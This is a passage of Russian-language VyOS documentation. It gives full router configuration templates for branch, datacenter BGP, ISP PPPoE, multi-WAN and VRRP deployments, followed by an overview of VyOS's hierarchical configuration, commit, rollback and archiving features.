set service dns forwarding listen-address 192.168.20.1
set service dns forwarding listen-address 192.168.30.1
set service dns forwarding cache-size 10000
set service dns forwarding name-server 192.168.0.10
set service dns forwarding name-server 8.8.8.8

# Default route
set protocols static route 0.0.0.0/0 next-hop 203.0.113.1

# NAT для выхода в интернет
set nat source rule 100 outbound-interface eth0
set nat source rule 100 source address 192.168.10.0/24
set nat source rule 100 translation address masquerade
set nat source rule 101 outbound-interface eth0
set nat source rule 101 source address 192.168.20.0/24
set nat source rule 101 translation address masquerade
set nat source rule 102 outbound-interface eth0
set nat source rule 102 source address 192.168.30.0/24
set nat source rule 102 translation address masquerade

# NAT exclude для VPN трафика
set nat source rule 10 outbound-interface eth0
set nat source rule 10 source address 192.168.10.0/24
set nat source rule 10 destination address 192.168.0.0/24
set nat source rule 10 exclude

# IPsec Site-to-Site VPN до головного офиса
set vpn ipsec ike-group IKE-HQ proposal 1 encryption aes256
set vpn ipsec ike-group IKE-HQ proposal 1 hash sha256
set vpn ipsec ike-group IKE-HQ proposal 1 dh-group 14
set vpn ipsec ike-group IKE-HQ lifetime 28800

set vpn ipsec esp-group ESP-HQ proposal 1 encryption aes256
set vpn ipsec esp-group ESP-HQ proposal 1 hash sha256
set vpn ipsec esp-group ESP-HQ lifetime 3600
set vpn ipsec esp-group ESP-HQ pfs dh-group14

set vpn ipsec site-to-site peer 203.0.113.1 authentication mode pre-shared-secret
set vpn ipsec site-to-site peer 203.0.113.1 authentication pre-shared-secret 'VerySecretPSK123!'
set vpn ipsec site-to-site peer 203.0.113.1 ike-group IKE-HQ
set vpn ipsec site-to-site peer 203.0.113.1 local-address 203.0.113.10
set vpn ipsec site-to-site peer 203.0.113.1 tunnel 1 esp-group ESP-HQ
set vpn ipsec site-to-site peer 203.0.113.1 tunnel 1 local prefix 192.168.10.0/24
set vpn ipsec site-to-site peer 203.0.113.1 tunnel 1 remote prefix 192.168.0.0/24

# QoS для приоритизации VoIP
set traffic-policy shaper WAN-OUT bandwidth 100mbit
set traffic-policy shaper WAN-OUT default bandwidth 80%
set traffic-policy shaper WAN-OUT default queue-type fq-codel

# Высокий приоритет для VoIP
set traffic-policy shaper WAN-OUT class 10 bandwidth 15%
set traffic-policy shaper WAN-OUT class 10 priority 1
set traffic-policy shaper WAN-OUT class 10 match VOIP ip dscp ef
set traffic-policy shaper WAN-OUT class 10 match VOIP-SIP ip destination port 5060
set traffic-policy shaper WAN-OUT class 10 match VOIP-RTP ip destination port 10000-20000

# Применить QoS
set interfaces ethernet eth0 traffic-policy out WAN-OUT

# Firewall - WAN_LOCAL
set firewall name WAN_LOCAL default-action drop
set firewall name WAN_LOCAL rule 10 action accept
set firewall name WAN_LOCAL rule 10 state established enable
set firewall name WAN_LOCAL rule 10 state related enable
set firewall name WAN_LOCAL rule 20 action drop
set firewall name WAN_LOCAL rule 20 state invalid enable
set firewall name WAN_LOCAL rule 30 action accept
set firewall name WAN_LOCAL rule 30 protocol icmp
# Разрешить IKE и ESP для IPsec
set firewall name WAN_LOCAL rule 40 action accept
set firewall name WAN_LOCAL rule 40 protocol udp
set firewall name WAN_LOCAL rule 40 destination port 500
set firewall name WAN_LOCAL rule 41 action accept
set firewall name WAN_LOCAL rule 41 protocol udp
set firewall name WAN_LOCAL rule 41 destination port 4500
set firewall name WAN_LOCAL rule 42 action accept
set firewall name WAN_LOCAL rule 42 protocol esp

# Firewall - WAN_IN
set firewall name WAN_IN default-action drop
set firewall name WAN_IN rule 10 action accept
set firewall name WAN_IN rule 10 state established enable
set firewall name WAN_IN rule 10 state related enable
set firewall name WAN_IN rule 20 action drop
set firewall name WAN_IN rule 20 state invalid enable

# Firewall - GUEST изоляция (запретить доступ к внутренним сетям)
set firewall name GUEST_OUT default-action accept
set firewall name GUEST_OUT rule 10 action drop
set firewall name GUEST_OUT rule 10 destination address 192.168.10.0/24
set firewall name GUEST_OUT rule 11 action drop
set firewall name GUEST_OUT rule 11 destination address 192.168.30.0/24
set firewall name GUEST_OUT rule 12 action drop
set firewall name GUEST_OUT rule 12 destination address 192.168.0.0/24

# Применить firewall
set interfaces ethernet eth0 firewall local name WAN_LOCAL
set interfaces ethernet eth0 firewall in name WAN_IN
set interfaces ethernet eth1 vif 20 firewall out name GUEST_OUT

commit
save
```

## Шаблон 3: Datacenter Edge Router (ЦОД с BGP)

### Описание

Граничный роутер для датацентра:
- Dual WAN с BGP к двум провайдерам
- Публичные IP адреса
- NAT для внутренних серверов
- Destination NAT для публичных сервисов
- High Availability (VRRP)
- OSPF для внутренней маршрутизации
- Строгий firewall

### Топология

```
ISP1 (AS 65001)          ISP2 (AS 65002)
    |                         |
[eth0] 203.0.113.2/30    [eth1] 198.51.100.2/30
        \                   /
         \    VyOS Router  /
          \               /
           [eth2] Internal
              |
         172.16.0.1/24
         (Server Network)
```

### Полная конфигурация

```bash
configure

# Системные настройки
set system host-name dc-edge-router
set system time-zone Europe/Moscow
set system domain-name dc.company.local

# Логин
set system login user admin authentication plaintext-password 'VerySecurePass123!'
set system login user admin level admin

# SSH
set service ssh port 22
set service ssh disable-password-authentication
set service ssh listen-address 172.16.0.1

# NTP
set service ntp server ntp1.yandex.ru
set service ntp server ntp2.yandex.ru

# Syslog
set system syslog global facility all level info
set system syslog host 172.16.0.10 facility all level warning

# WAN1 интерфейс (ISP1)
set interfaces ethernet eth0 address 203.0.113.2/30
set interfaces ethernet eth0 description 'ISP1-WAN'

# WAN2 интерфейс (ISP2)
set interfaces ethernet eth1 address 198.51.100.2/30
set interfaces ethernet eth1 description 'ISP2-WAN'

# Internal интерфейс
set interfaces ethernet eth2 address 172.16.0.1/24
set interfaces ethernet eth2 description 'Internal-Servers'

# BGP конфигурация
set protocols bgp 64512 parameters router-id 172.16.0.1

# BGP neighbor ISP1
set protocols bgp 64512 neighbor 203.0.113.1 remote-as 65001
set protocols bgp 64512 neighbor 203.0.113.1 description 'ISP1'
set protocols bgp 64512 neighbor 203.0.113.1 address-family ipv4-unicast
set protocols bgp 64512 neighbor 203.0.113.1 address-family ipv4-unicast default-originate
set protocols bgp 64512 neighbor 203.0.113.1 address-family ipv4-unicast soft-reconfiguration inbound

# BGP neighbor ISP2
set protocols bgp 64512 neighbor 198.51.100.1 remote-as 65002
set protocols bgp 64512 neighbor 198.51.100.1 description 'ISP2'
set protocols bgp 64512 neighbor 198.51.100.1 address-family ipv4-unicast
set protocols bgp 64512 neighbor 198.51.100.1 address-family ipv4-unicast default-originate
set protocols bgp 64512 neighbor 198.51.100.1 address-family ipv4-unicast soft-reconfiguration inbound

# Анонсировать наши сети
set protocols bgp 64512 address-family ipv4-unicast network 203.0.113.0/28
set protocols bgp 64512 address-family ipv4-unicast network 198.51.100.0/28

# Prefix filtering для входящих анонсов
set policy prefix-list BGP-IN rule 10 action permit
set policy prefix-list BGP-IN rule 10 prefix 0.0.0.0/0
set policy prefix-list BGP-IN rule 10 le 24

set policy route-map BGP-FILTER rule 10 action permit
set policy route-map BGP-FILTER rule 10 match ip address prefix-list BGP-IN

set protocols bgp 64512 neighbor 203.0.113.1 address-family ipv4-unicast route-map import BGP-FILTER
set protocols bgp 64512 neighbor 198.51.100.1 address-family ipv4-unicast route-map import BGP-FILTER

# OSPF для внутренних сетей (если есть другие роутеры)
set protocols ospf parameters router-id 172.16.0.1
set protocols ospf area 0 network 172.16.0.0/24

# Redistribute BGP в OSPF (default route)
set protocols ospf redistribute bgp

# Source NAT для внутренних серверов (через WAN1)
set nat source rule 100 outbound-interface eth0
set nat source rule 100 source address 172.16.0.0/24
set nat source rule 100 translation address masquerade

# Source NAT через WAN2 (backup)
set nat source rule 101 outbound-interface eth1
set nat source rule 101 source address 172.16.0.0/24
set nat source rule 101 translation address masquerade

# Destination NAT для публичных сервисов
# Web сервер на 172.16.0.20
set nat destination rule 100 inbound-interface eth0
set nat destination rule 100 protocol tcp
set nat destination rule 100 destination address 203.0.113.10
set nat destination rule 100 destination port 80
set nat destination rule 100 translation address 172.16.0.20
set nat destination rule 100 translation port 80

set nat destination rule 101 inbound-interface eth0
set nat destination rule 101 protocol tcp
set nat destination rule 101 destination address 203.0.113.10
set nat destination rule 101 destination port 443
set nat destination rule 101 translation address 172.16.0.20
set nat destination rule 101 translation port 443

# Mail сервер на 172.16.0.21
set nat destination rule 110 inbound-interface eth0
set nat destination rule 110 protocol tcp
set nat destination rule 110 destination address 203.0.113.11
set nat destination rule 110 destination port 25
set nat destination rule 110 translation address 172.16.0.21
set nat destination rule 110 translation port 25

set nat destination rule 111 inbound-interface eth0
set nat destination rule 111 protocol tcp
set nat destination rule 111 destination address 203.0.113.11
set nat destination rule 111 destination port 587
set nat destination rule 111 translation address 172.16.0.21
set nat destination rule 111 translation port 587

# Firewall - WAN1_LOCAL
set firewall name WAN1_LOCAL default-action drop
set firewall name WAN1_LOCAL rule 10 action accept
set firewall name WAN1_LOCAL rule 10 state established enable
set firewall name WAN1_LOCAL rule 10 state related enable
set firewall name WAN1_LOCAL rule 20 action drop
set firewall name WAN1_LOCAL rule 20 state invalid enable
set firewall name WAN1_LOCAL rule 30 action accept
set firewall name WAN1_LOCAL rule 30 protocol icmp
# Разрешить BGP
set firewall name WAN1_LOCAL rule 40 action accept
set firewall name WAN1_LOCAL rule 40 protocol tcp
set firewall name WAN1_LOCAL rule 40 source address 203.0.113.1
set firewall name WAN1_LOCAL rule 40 destination port 179

# Firewall - WAN2_LOCAL (аналогично WAN1)
set firewall name WAN2_LOCAL default-action drop
set firewall name WAN2_LOCAL rule 10 action accept
set firewall name WAN2_LOCAL rule 10 state established enable
set firewall name WAN2_LOCAL rule 10 state related enable
set firewall name WAN2_LOCAL rule 20 action drop
set firewall name WAN2_LOCAL rule 20 state invalid enable
set firewall name WAN2_LOCAL rule 30 action accept
set firewall name WAN2_LOCAL rule 30 protocol icmp
set firewall name WAN2_LOCAL rule 40 action accept
set firewall name WAN2_LOCAL rule 40 protocol tcp
set firewall name WAN2_LOCAL rule 40 source address 198.51.100.1
set firewall name WAN2_LOCAL rule 40 destination port 179

# Firewall - WAN1_IN (входящий трафик)
set firewall name WAN1_IN default-action drop
set firewall name WAN1_IN rule 10 action accept
set firewall name WAN1_IN rule 10 state established enable
set firewall name WAN1_IN rule 10 state related enable
set firewall name WAN1_IN rule 20 action drop
set firewall name WAN1_IN rule 20 state invalid enable
# Разрешить HTTP/HTTPS на web сервер
set firewall name WAN1_IN rule 100 action accept
set firewall name WAN1_IN rule 100 protocol tcp
set firewall name WAN1_IN rule 100 destination address 172.16.0.20
set firewall name WAN1_IN rule 100 destination port 80
set firewall name WAN1_IN rule 101 action accept
set firewall name WAN1_IN rule 101 protocol tcp
set firewall name WAN1_IN rule 101 destination address 172.16.0.20
set firewall name WAN1_IN rule 101 destination port 443
# Разрешить SMTP на mail сервер
set firewall name WAN1_IN rule 110 action accept
set firewall name WAN1_IN rule 110 protocol tcp
set firewall name WAN1_IN rule 110 destination address 172.16.0.21
set firewall name WAN1_IN rule 110 destination port 25
set firewall name WAN1_IN rule 111 action accept
set firewall name WAN1_IN rule 111 protocol tcp
set firewall name WAN1_IN rule 111 destination address 172.16.0.21
set firewall name WAN1_IN rule 111 destination port 587

# Firewall - WAN2_IN (аналогично WAN1_IN)
set firewall name WAN2_IN default-action drop
set firewall name WAN2_IN rule 10 action accept
set firewall name WAN2_IN rule 10 state established enable
set firewall name WAN2_IN rule 10 state related enable
set firewall name WAN2_IN rule 20 action drop
set firewall name WAN2_IN rule 20 state invalid enable

# Применить firewall
set interfaces ethernet eth0 firewall local name WAN1_LOCAL
set interfaces ethernet eth0 firewall in name WAN1_IN
set interfaces ethernet eth1 firewall local name WAN2_LOCAL
set interfaces ethernet eth1 firewall in name WAN2_IN

# Conntrack optimization для высокой нагрузки
set system conntrack table-size 262144
set system conntrack timeout tcp established 432000
set system conntrack timeout tcp close 10

commit
save
```

## Шаблон 4: Service Provider Edge Router (Провайдер)

### Описание

Граничный роутер для провайдера (ISP):
- BGP с upstream провайдерами
- BGP с клиентами
- PPPoE сервер для клиентов
- RADIUS authentication
- Traffic shaping per-client
- IPv6 dual-stack

### Топология

```
Upstream Provider (AS 65000)
           |
       [eth0] 203.0.113.2/30
           |
      VyOS Router (AS 64600)
           |
       [eth1] PPPoE Server
           |
    10.0.0.0/8 (PPPoE pool)
           |
      DSL Clients
```

### Основная конфигурация (упрощенная)

```bash
configure

# Системные настройки
set system host-name isp-edge-router
set system time-zone Europe/Moscow

# Логин
set system login user admin authentication plaintext-password 'ISPSecurePass123!'
set system login user admin level admin

# SSH
set service ssh port 22
set service ssh disable-password-authentication

# NTP
set service ntp server ntp1.yandex.ru
set service ntp server ntp2.yandex.ru

# Upstream интерфейс
set interfaces ethernet eth0 address 203.0.113.2/30
set interfaces ethernet eth0 description 'Upstream-Provider'

# PPPoE server интерфейс
set interfaces ethernet eth1 description 'PPPoE-Clients'

# PPPoE сервер
set service pppoe-server interface eth1
set service pppoe-server authentication mode radius
set service pppoe-server authentication radius server 192.168.100.10 key 'radius-secret'
set service pppoe-server gateway-address 10.0.0.1
set service pppoe-server client-ip-pool start 10.0.0.10
set service pppoe-server client-ip-pool stop 10.255.255.254

# BGP с upstream
set protocols bgp 64600 parameters router-id 203.0.113.2
set protocols bgp 64600 neighbor 203.0.113.1 remote-as 65000
set protocols bgp 64600 neighbor 203.0.113.1 description 'Upstream-Provider'
set protocols bgp 64600 neighbor 203.0.113.1 address-family ipv4-unicast

# Получать full table или default route
set protocols bgp 64600 neighbor 203.0.113.1 address-family ipv4-unicast default-originate

# Анонсировать наши сети
set protocols bgp 64600 address-family ipv4-unicast network 10.0.0.0/8

# Traffic shaping для клиентов (пример)
set traffic-policy shaper CLIENT-100M bandwidth 100mbit
set traffic-policy shaper CLIENT-100M default bandwidth 100%
set traffic-policy shaper CLIENT-100M default queue-type fq-codel

# Firewall для защиты
set firewall name UPSTREAM_LOCAL default-action drop
set firewall name UPSTREAM_LOCAL rule 10 action accept
set firewall name UPSTREAM_LOCAL rule 10 state established enable
set firewall name UPSTREAM_LOCAL rule 10 state related enable
set firewall name UPSTREAM_LOCAL rule 20 action drop
set firewall name UPSTREAM_LOCAL rule 20 state invalid enable
set firewall name UPSTREAM_LOCAL rule 30 action accept
set firewall name UPSTREAM_LOCAL rule 30 protocol icmp
set firewall name UPSTREAM_LOCAL rule 40 action accept
set firewall name UPSTREAM_LOCAL rule 40 protocol tcp
set firewall name UPSTREAM_LOCAL rule 40 destination port 179

set interfaces ethernet eth0 firewall local name UPSTREAM_LOCAL

commit
save
```

## Шаблон 5: Multi-WAN Load Balancing

### Описание

Роутер с балансировкой нагрузки между несколькими WAN каналами:
- 2-3 WAN интерфейса
- Load balancing с весами
- Failover при отказе канала
- Policy-based routing для критичного трафика

### Топология

```
WAN1 (100 Mbps)    WAN2 (50 Mbps)
       |                 |
   [eth0]            [eth1]
        \             /
         \   VyOS   /
          \ Router /
             [eth2]
               |
          LAN Network
        192.168.1.0/24
```

### Полная конфигурация

```bash
configure

# Системные настройки
set system host-name multi-wan-router
set system time-zone Europe/Moscow

# Логин
set system login user admin authentication plaintext-password 'MultiWAN123!'
set system login user admin level admin

# SSH
set service ssh port 22

# NTP
set service ntp server 0.pool.ntp.org

# WAN1 интерфейс (основной, 100 Mbps)
set interfaces ethernet eth0 address dhcp
set interfaces ethernet eth0 description 'WAN1-Primary'

# WAN2 интерфейс (резервный, 50 Mbps)
set interfaces ethernet eth1 address dhcp
set interfaces ethernet eth1 description 'WAN2-Backup'

# LAN интерфейс
set interfaces ethernet eth2 address 192.168.1.1/24
set interfaces ethernet eth2 description 'LAN'

# DHCP сервер для LAN
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 default-router 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 name-server 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 start 192.168.1.100
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop 192.168.1.200

# DNS forwarding
set service dns forwarding listen-address 192.168.1.1
set service dns forwarding name-server 8.8.8.8
set service dns forwarding name-server 8.8.4.4

# Load balancing конфигурация
set load-balancing wan interface-health eth0 failure-count 3
set load-balancing wan interface-health eth0 success-count 1
set load-balancing wan interface-health eth0 nexthop dhcp
set load-balancing wan interface-health eth0 test 10 type ping
set load-balancing wan interface-health eth0 test 10 target 8.8.8.8

set load-balancing wan interface-health eth1 failure-count 3
set load-balancing wan interface-health eth1 success-count 1
set load-balancing wan interface-health eth1 nexthop dhcp
set load-balancing wan interface-health eth1 test 10 type ping
set load-balancing wan interface-health eth1 test 10 target 8.8.4.4

# Load balancing правило (вес 2:1 для WAN1:WAN2)
set load-balancing wan rule 10 inbound-interface eth2
set load-balancing wan rule 10 source address 192.168.1.0/24
set load-balancing wan rule 10 interface eth0 weight 2
set load-balancing wan rule 10 interface eth1 weight 1

# Sticky connections для established соединений
set load-balancing wan sticky-connections inbound

# NAT для обоих WAN
set nat source rule 100 outbound-interface eth0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade

set nat source rule 101 outbound-interface eth1
set nat source rule 101 source address 192.168.1.0/24
set nat source rule 101 translation address masquerade

# Firewall для WAN интерфейсов
set firewall name WAN_LOCAL default-action drop
set firewall name WAN_LOCAL rule 10 action accept
set firewall name WAN_LOCAL rule 10 state established enable
set firewall name WAN_LOCAL rule 10 state related enable
set firewall name WAN_LOCAL rule 20 action drop
set firewall name WAN_LOCAL rule 20 state invalid enable
set firewall name WAN_LOCAL rule 30 action accept
set firewall name WAN_LOCAL rule 30 protocol icmp

set firewall name WAN_IN default-action drop
set firewall name WAN_IN rule 10 action accept
set firewall name WAN_IN rule 10 state established enable
set firewall name WAN_IN rule 10 state related enable
set firewall name WAN_IN rule 20 action drop
set firewall name WAN_IN rule 20 state invalid enable

set interfaces ethernet eth0 firewall local name WAN_LOCAL
set interfaces ethernet eth0 firewall in name WAN_IN
set interfaces ethernet eth1 firewall local name WAN_LOCAL
set interfaces ethernet eth1 firewall in name WAN_IN

commit
save
```

### Мониторинг Load Balancing

```bash
# Проверить статус WAN интерфейсов
show load-balancing wan

# Проверить health checks
show load-balancing wan interface-health

# Статистика по правилам
show load-balancing wan rule
```

## Шаблон 6: High Availability (VRRP) Пара

### Описание

Пара роутеров в HA конфигурации для критичных сервисов:
- VRRP для failover
- Синхронизация conntrack
- Identical конфигурация (кроме VRRP priority)

### Топология

```
        Internet
           |
     [eth0 WAN]
           |
   VyOS Router 1 (MASTER)
   VRRP Priority: 200
           |
   VyOS Router 2 (BACKUP)
   VRRP Priority: 100
           |
     [eth1 LAN]
           |
    192.168.1.0/24
    (Virtual IP: 192.168.1.1)
```

### Конфигурация Router 1 (MASTER)

```bash
configure

# Системные настройки
set system host-name ha-router-1
set system time-zone Europe/Moscow

# Логин
set system login user admin authentication plaintext-password 'HASecure123!'
set system login user admin level admin

# SSH
set service ssh port 22

# WAN интерфейс
set interfaces ethernet eth0 address 203.0.113.10/24
set interfaces ethernet eth0 description 'WAN'

# LAN интерфейс с реальным IP
set interfaces ethernet eth1 address 192.168.1.2/24
set interfaces ethernet eth1 description 'LAN'

# VRRP для LAN (Virtual IP)
set high-availability vrrp group LAN vrid 10
set high-availability vrrp group LAN interface eth1
set high-availability vrrp group LAN virtual-address 192.168.1.1/24
set high-availability vrrp group LAN priority 200
set high-availability vrrp group LAN preempt true
set high-availability vrrp group LAN authentication type simple
set high-availability vrrp group LAN authentication password 'vrrp-secret'

# VRRP для WAN (Virtual IP)
set high-availability vrrp group WAN vrid 20
set high-availability vrrp group WAN interface eth0
set high-availability vrrp group WAN virtual-address 203.0.113.1/24
set high-availability vrrp group WAN priority 200
set high-availability vrrp group WAN preempt true
set high-availability vrrp group WAN authentication type simple
set high-availability vrrp group WAN authentication password 'vrrp-secret'

# Conntrack синхронизация
set high-availability vrrp sync-group SYNC member LAN
set high-availability vrrp sync-group SYNC member WAN

# DHCP сервер (использует virtual IP)
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 default-router 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 name-server 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 start 192.168.1.100
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop 192.168.1.200

# DNS forwarding
set service dns forwarding listen-address 192.168.1.1
set service dns forwarding name-server 8.8.8.8

# Default route
set protocols static route 0.0.0.0/0 next-hop 203.0.113.254

# NAT (использует virtual WAN IP)
set nat source rule 100 outbound-interface eth0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade

# Firewall
set firewall name WAN_LOCAL default-action drop
set firewall name WAN_LOCAL rule 10 action accept
set firewall name WAN_LOCAL rule 10 state established enable
set firewall name WAN_LOCAL rule 10 state related enable
set firewall name WAN_LOCAL rule 20 action drop
set firewall name WAN_LOCAL rule 20 state invalid enable
set firewall name WAN_LOCAL rule 30 action accept
set firewall name WAN_LOCAL rule 30 protocol icmp
# Разрешить VRRP
set firewall name WAN_LOCAL rule 40 action accept
set firewall name WAN_LOCAL rule 40 protocol vrrp

set interfaces ethernet eth0 firewall local name WAN_LOCAL

commit
save
```

### Конфигурация Router 2 (BACKUP)

```bash
# Идентична Router 1, но с измененными параметрами:

set system host-name ha-router-2

# Реальный IP на LAN
set interfaces ethernet eth1 address 192.168.1.3/24

# Реальный IP на WAN
set interfaces ethernet eth0 address 203.0.113.11/24

# VRRP priority ниже (BACKUP)
set high-availability vrrp group LAN priority 100
set high-availability vrrp group WAN priority 100

# Всё остальное идентично Router 1
```

### Проверка HA статуса

```bash
# Проверить VRRP статус
show vrrp

# Детальная информация
show vrrp detail

# Проверить conntrack синхронизацию
show high-availability sync
```

## Тестирование и валидация шаблонов

### Базовые тесты после применения шаблона

```bash
# 1. Проверить конфигурацию
show configuration

# 2. Проверить интерфейсы
show interfaces
show interfaces addresses

# 3. Проверить маршрутизацию
show ip route

# 4. Проверить NAT
show nat source statistics

# 5. Проверить firewall
show firewall

# 6. Тестировать connectivity
ping 8.8.8.8
ping -c 3 google.com

# 7. Проверить DNS
nslookup google.com

# 8. Проверить сервисы
show service dhcp-server statistics
show service ssh
```

### Тест производительности

```bash
# Проверить throughput с iperf3
# На сервере (LAN)
iperf3 -s

# На клиенте (через роутер)
iperf3 -c <server-ip> -t 60

# Проверить latency
ping <target> -c 100
# Смотреть avg/stddev

# Проверить загрузку роутера
show system cpu
show system memory
```

## Лучшие практики при использовании шаблонов

1. **Всегда backup перед применением**
```bash
save /config/config.boot.before-template
```

2. **Применять поэтапно в тестовом окружении**
```bash
# Сначала протестировать на staging роутере
```

3. **Документировать изменения**
```bash
# Создать README с описанием специфики вашего deployment
```

4. **Использовать commit-confirm для критичных изменений**
```bash
commit-confirm 10
# Тестируем
confirm  # Если всё OK
```

5. **Адаптировать под свои требования**
```bash
# Изменить IP адреса
# Изменить названия интерфейсов
# Добавить специфичные правила
```

6. **Мониторить после применения**
```bash
# Использовать monitor log
# Проверять метрики
# Тестировать все функции
```

7. **Хранить шаблоны в version control**
```bash
git init
git add config-templates/
git commit -m "Added SOHO template"
```

## Заключение

Эти шаблоны предоставляют solid foundation для типичных сценариев развертывания VyOS:

- **SOHO Router**: Простой роутер для малого офиса
- **Branch Office**: Филиал с VPN и VLANs
- **Datacenter Edge**: ЦОД с BGP dual-homing
- **Service Provider**: ISP edge с PPPoE
- **Multi-WAN**: Балансировка нагрузки
- **High Availability**: VRRP failover

Адаптируйте эти шаблоны под свои требования, тестируйте тщательно, и документируйте все изменения для будущего reference.


---

# Обзор конфигурации VyOS - Иерархическая система управления

Source: https://opennix.org/docs/vyos/first-steps/vyos-config-overview/


VyOS использует иерархическую систему конфигурации, которая обеспечивает гибкое и структурированное управление настройками системы.

## Структура конфигурации

Конфигурация VyOS организована в виде дерева с узлами, каждый из которых может содержать значения и дочерние узлы.

### Пример иерархии

```
interfaces {
    ethernet eth0 {
        address 192.168.1.1/24
        description "LAN Interface"
    }
    ethernet eth1 {
        address dhcp
        description "WAN Interface"
    }
}
```

### Представление через команды set

Та же конфигурация в виде команд `set`:

```
set interfaces ethernet eth0 address 192.168.1.1/24
set interfaces ethernet eth0 description 'LAN Interface'
set interfaces ethernet eth1 address dhcp
set interfaces ethernet eth1 description 'WAN Interface'
```

## Режимы работы

### Операционный режим

Используется для:
- Просмотра информации о системе
- Мониторинга состояния
- Выполнения диагностических команд
- Управления системными процессами

Приглашение командной строки: `vyos@vyos:~$`

### Режим конфигурации

Используется для:
- Изменения настроек системы
- Управления конфигурацией
- Применения и сохранения изменений

Приглашение командной строки: `vyos@vyos#`

Вход в режим конфигурации:
```
vyos@vyos:~$ configure
[edit]
vyos@vyos#
```

## Основные концепции

### 1. Рабочая и активная конфигурация

VyOS различает два типа конфигурации:

- **Рабочая конфигурация** - изменения, внесенные но еще не примененные
- **Активная конфигурация** - текущая работающая конфигурация системы

Изменения из рабочей конфигурации переносятся в активную после выполнения команды `commit`.

### 2. Транзакционная модель

Изменения конфигурации применяются атомарно:
- Все изменения применяются одновременно при выполнении `commit`
- Если какое-либо изменение приводит к ошибке, вся транзакция откатывается
- Это предотвращает частично примененные конфигурации

### 3. Автоматический откат

VyOS поддерживает автоматический откат для критических изменений:

```
vyos@vyos# commit-confirm 5
```

Если в течение 5 минут не выполнить команду `confirm`, все изменения будут автоматически откачены. Это защищает от потери доступа к удаленному маршрутизатору.

### 4. История конфигурации

VyOS автоматически сохраняет историю всех commit-операций:

```
vyos@vyos# show system commit
0   2024-10-13 15:30:45 by vyos via cli
1   2024-10-13 14:15:22 by vyos via cli
2   2024-10-13 12:05:10 by vyos via cli
```

Можно откатиться к любой предыдущей версии:

```
vyos@vyos# rollback 1
vyos@vyos# commit
```

## Типы узлов конфигурации

### Листовые узлы

Узлы, содержащие конечные значения:

```
set system host-name 'vyos-router'
set interfaces ethernet eth0 address '192.168.1.1/24'
```

### Контейнерные узлы

Узлы, содержащие другие узлы:

```
set interfaces ethernet eth0
set service dhcp-server
```

### Мультизначные узлы

Узлы, которые могут иметь несколько значений:

```
set interfaces ethernet eth0 address '192.168.1.1/24'
set interfaces ethernet eth0 address '192.168.2.1/24'
set interfaces ethernet eth0 address '2001:db8::1/64'
```

### Тегированные узлы

Узлы с именованными экземплярами:

```
set firewall ipv4 name WAN_LOCAL rule 10
set firewall ipv4 name WAN_LOCAL rule 20
set firewall ipv4 name WAN_LOCAL rule 30
```

## Файл конфигурации

### Расположение

Активная конфигурация хранится в:
```
/config/config.boot
```

### Формат

Конфигурация сохраняется в текстовом формате (похожем на JSON):

```
interfaces {
    ethernet eth0 {
        address 192.168.1.1/24
        description "LAN Interface"
        hw-id 00:0c:29:44:3b:0f
    }
}
system {
    host-name vyos-router
    time-zone UTC
}
```

### Ручное редактирование

**Не рекомендуется** редактировать `/config/config.boot` напрямую во время работы системы. Используйте:
- Команды `set` и `delete` в режиме конфигурации
- Команду `load` для загрузки конфигурации из файла

Для редактирования конфигурации офлайн (когда система выключена), можно монтировать раздел `/config` и редактировать `config.boot`.

## Управление конфигурацией

### Сохранение конфигурации

```
vyos@vyos# save
Saving configuration to '/config/config.boot'...
Done
```

Сохранение в другой файл:
```
vyos@vyos# save /tmp/backup-config.boot
```

Сохранение на удаленный сервер:
```
vyos@vyos# save scp://user@192.0.2.100/backup/config.boot
```

### Загрузка конфигурации

Загрузка конфигурации из файла:
```
vyos@vyos# load /tmp/backup-config.boot
```

Загрузка с удаленного сервера:
```
vyos@vyos# load scp://user@192.0.2.100/backup/config.boot
```

### Объединение конфигураций

Объединение конфигурации из файла с текущей:
```
vyos@vyos# merge /tmp/additional-config.boot
```

## Просмотр конфигурации

### Вся конфигурация

```
vyos@vyos# show
```

### Часть конфигурации

```
vyos@vyos# show interfaces
vyos@vyos# show interfaces ethernet eth0
```

### Конфигурация в виде команд set

```
vyos@vyos# show interfaces ethernet eth0 | commands
set interfaces ethernet eth0 address '192.168.1.1/24'
set interfaces ethernet eth0 description 'LAN Interface'
```

### Различия конфигураций

Просмотр изменений до commit:
```
vyos@vyos# compare
[edit interfaces ethernet eth0]
+address 192.168.1.1/24
+description "LAN Interface"
```

Сравнение с предыдущей версией:
```
vyos@vyos# compare 1
```

## Валидация конфигурации

VyOS автоматически проверяет корректность конфигурации при выполнении `commit`:

```
vyos@vyos# commit
[interfaces ethernet eth0]
Invalid address '192.168.1.256/24'
Commit failed
```

Типы проверок:
- Синтаксическая корректность
- Правильность значений (IP-адреса, порты и т.д.)
- Зависимости между параметрами
- Конфликты конфигурации

## Комментарии

Добавление комментариев к элементам конфигурации:

```
vyos@vyos# comment interfaces ethernet eth0 "Primary LAN interface for internal network"
```

Комментарии отображаются при просмотре конфигурации:

```
vyos@vyos# show interfaces ethernet eth0
/* Primary LAN interface for internal network */
ethernet eth0 {
    address 192.168.1.1/24
    description "LAN Interface"
}
```

## Шаблоны конфигурации

### Использование переменных

При работе с повторяющимися конфигурациями можно использовать внешние скрипты для генерации команд `set`.

Пример bash-скрипта:

```bash
#!/bin/bash
for i in {1..10}; do
  echo "set interfaces ethernet eth0.$i vif $i"
  echo "set interfaces ethernet eth0.$i address 192.168.$i.1/24"
done
```

Сохраните вывод в файл и загрузите:
```
vyos@vyos# load /tmp/vlan-config.txt
vyos@vyos# commit
```

## Архивирование конфигурации

### Автоматическое архивирование

Настройка автоматического архивирования каждой commit-версии:

```
set system config-management commit-archive location '/config/archive'
set system config-management commit-revisions 100
```

### Удаленное архивирование

Автоматическая отправка конфигурации на удаленный сервер после каждого commit:

```
set system config-management commit-archive location 'scp://backup@192.0.2.100/vyos-configs'
```

